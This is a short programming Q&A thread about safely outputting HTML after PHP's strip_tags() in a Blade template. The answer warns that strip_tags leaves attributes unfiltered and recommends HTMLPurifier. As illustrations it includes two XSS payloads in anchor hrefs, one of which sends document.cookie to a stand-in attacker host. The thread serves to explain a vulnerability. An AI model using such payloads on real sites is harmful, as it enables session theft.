Answer the question
In order to leave comments, you need to log in
How to pass HTML to strip_tags()?
Hello. There is a variable that is parsed by the strip_tags() function and then sent to the HTML.
$marketDescOne = " your <a href='#'>link</a> lorem ipsum.";
$obj->marketDescOne = strip_tags($marketDescOne,'<a>');
<p class="mobile-text-small">
{{ $market->marketDescOne }}
</p>
Answer the question
In order to leave comments, you need to log in
Use {!! $market->marketDescOne !!}
But that's not right at all and it's impossible.
<a href="javascript:alert('hellowz')">link</a>
<a href="javascript:new Image().src('http://hacker.com/hellowz?c=' + document.cookie)">link</a>
strip_tags does not filter tag attributes. better use htmlpurifier library
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question